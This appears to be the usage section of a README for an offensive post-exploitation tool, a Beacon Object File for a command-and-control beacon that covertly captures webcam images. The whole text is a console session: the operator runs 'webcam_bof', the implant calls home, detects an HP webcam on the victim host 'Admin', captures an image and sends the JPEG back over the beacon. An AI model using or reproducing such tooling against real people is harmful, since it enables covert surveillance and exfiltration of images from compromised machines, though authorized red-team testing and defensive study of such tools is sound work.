Example Usage
beacon> webcam_bof sad.jpeg 2 [*] Running Webcam BOF by (@codex_tf2) [+] host called home, sent: 35817 bytes [+] received output: [*] Initializing webcam [+] received output: [*] Device 0: HP 320 FHD Webcam [+] received output: [*] Capturing image data [+] received output: [*] Downloading JPEG over beacon as a screenshot [*] received screenshot of Webcam from Admin (328kb)